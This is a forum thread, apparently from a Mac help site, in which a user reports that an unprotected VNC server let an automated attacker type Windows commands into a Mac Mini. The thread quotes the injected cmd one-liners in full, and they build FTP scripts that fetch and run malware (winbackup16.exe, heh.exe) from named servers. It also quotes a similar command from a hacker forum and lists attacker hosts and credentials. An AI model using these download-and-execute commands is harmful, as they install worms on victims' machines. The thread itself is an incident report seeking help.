MacMini running my TV has been compromised, tried to download winbackup.exe

Question

I have a MacMini running Elgatos EyeTV software as my permanent HD TV setup. It's permanently hooked up to the internet and is always on. I have a Universal remote for controlling EyeTV, FrontRow and the rest of my Home Theater system. Until today I thought this may have been a problem with the remote.
Over the past few weeks it has been behaving erratically every now and then. The 'remote' dialog would appear on screen and it would change between channels. The video would keep switching between pause and play repeatedly. If I'm watching a movie in Front Row, it would do the same, but eventually switch all the way back out to the OS. It did cross my mind that maybe someone was getting into the computer, but I didn't see how this could be happening.
My Mac Mini is hooked up to an ADSL 2 modem, which I have setup with port mappings for port 80 and a non standard ssh port mapped to the Mini. These are the only ports open.
Today it happened again, but this time it was something quite disturbing. I was watching a movie in Front Row and it suddenly switched out back to the OS. My first response is to cover up the infra red ports on my remote, because I had thought maybe the remote was sending invalid signals. But when it got back to the OS, it renamed one of my hard disks. I sat there and watched it as the following text was entered one character at a time:
cmd /c echo open ftp1.killyourself.info 21 .. ik 7echo user mysql database .. ik 7echo binary .. ik 7echo get winbackup16.exe .. ik 7echo bye .. ik 7ftp -n -v -s;ik 7del ik 7winbackup16.exe 7exit
Based on a Google search killyourself.info looks like a bitorrent tracker. But I can actually ftp into ftp1.killyourselfinfo server using 'mysql' and 'database' as the username and password (taken from the text shown above). The ftp server contains the following files, "YouTube.Video.Downloader.2007-GameRevolution", "h.exe", "RLPack1_1__1_.16PersonalVersion.zip", "torrentfix32.exe", "winamp533_pro.exe", "winbackup16.exe", "winsys32.exe", "woo.zip", "wrar361.exe" and "YouTube.Video.Downloader.2007-GameRevolution.rar"
A search on winbackup.exe brings up dozens of spyware and worm references. Which is fine, I don't have windows installed on the mini, but it is on my MacBook Pro in Parallels. If this had have happened on there then I may have had a bigger problem.
So, someone somewhere is connecting into my MacMini and attempting to download and install a windows worm/virus. I think they're getting in via VNC because I've had a VNC Server running on there for the last few weeks to allow me to get in from my laptop.
The fact that it's executing windows commands means that it's probably automated and they must assume it's a windows box, which kind of rules out ssh and applescript based attacks. I've killed the VNC server now, but I don't see how they were able to get in in the first place.
I disabled all of the network ports in System Preferences and the commands stopped being executed. What I'd like to do is be able to look through any logs that may reveal what connections were made to the mini. If I can, I'd like to track down the bad guys.

Answer 1

I have a simpler explanation for the password thing. There isn't one set. Neither was my firewall running. I'm not sure at what point that was disabled, but I'm still not sure how the connection is getting through my ADSL modem (no port mapping for VNC). A quote from the HenWen manual seems appropriate here:
“All that is necessary for evil to triumph is for good men to do nothing...”
— Edmund Burke
And yes, I am in IT Security At least my MBP is locked down.
I couldn't get snort working the way the tutorials and manuals described, so I went with Wireshark (used to be called ethereal).
Any my honey pot was successful. This is now a confirmed VNC exploit.
I had everything turned off. Bluetooth, WiFi, Firewire. All my applications were shutdown with the exception of TextEdit, which was sitting there waiting for remote commands to be entered. VNC Server, which is what I assumed the attacker was exploiting and Wireshark, which was sitting there listening for network packets.
Interestingly, the ftp server is different this time. Here is the complete text of what was entered (non-printable characters aside):
5systemroot5\system32\cmd.exe
cmd /c echo open ftp.heh.pheer.info .. heh 7echo binary .. heh 7echo get heh.exe .. heh 7echo bye .. heh 7ftp -as;heh 7del heh 7start heh.exe 7exit
This was a bit different to last time. It's a different ftp server and files. I can connect to the ftp server, but the username isn't as obvious. I went with 'anonymous' and '[email protected]' and got in. On this FTP server there are only two files, "GOOGLE.exe" and "HEH.exe"
If I try and ping ftp.heh.pheer.info it resolves to mail.cppweb.com, which doesn't respond to a ping at all, but www.cppweb.com seems to be an ISP of some sort in 'Monroe, Wisconsin' (according to the front page). So chances are the attacker is a user of that ISP. It looks a bit dodgy, all of the internal links go to a 404 page.
Wireshark has a series of VNC requests coming in from the IP address 58.20.207.179, which I can't ping and doesn't come up with a name via nslookup. The IP address of both ftp.heh.pheer.info and mail.cppweb.com is: 64.73.102.119
This is a little more interesting; heh.pheer.info goes nowhere in the browser, but pheer.info resolves to www.ryan1918.com, which is apparently the number 1 source of everything. Looking at some of the posts on their front page it looks like they've been attacked a lot over the past few days, although based on some of the links and 'affiliates' it doesn't appear to be a reputable place, at least not at first glance (no offense meant to any members).
It's also pretty clear why they have been hacked so often. I tried searching for VNC in their forums and got an error, which revealed a nicely detailed SQL query showing the structure of their database. But their site can be searched via Google. Here's an interesting forum question under the topic of 'VNC Hacking':
can someone help me with uploading a file and executing after u get root access on a vnc server. ive been using windows ftp but doesnt seem to work on rooted box is there a easier was to do this or am i doing it wrong. Thanks in advance
cmd.exe /c echo open x.x.x.x > i &echo get winreg.exe >> i &echo quit >> i &ftp -As:i &start winreg.exe
http://www.ryan1918.com/viewtopic.php?p=40897&sid=aef6bf23561670b189ebfff1525064 b2
And here's a link someone posted to their 'vnc bot'
http://www.ryan1918.com/viewtopic.php?t=7573&sid=f5843eae2bdd6fdfcc396008e46a13f 9
I was going to submit a complaint to the IC3, but they seem to be focussed on actual monetary loss and fraud.
Can anyone suggest an appropriate way forward. I assume there must be some organisation that this information can be submitted to. Surely these kinds of attacks shouldn't simply be tolerated.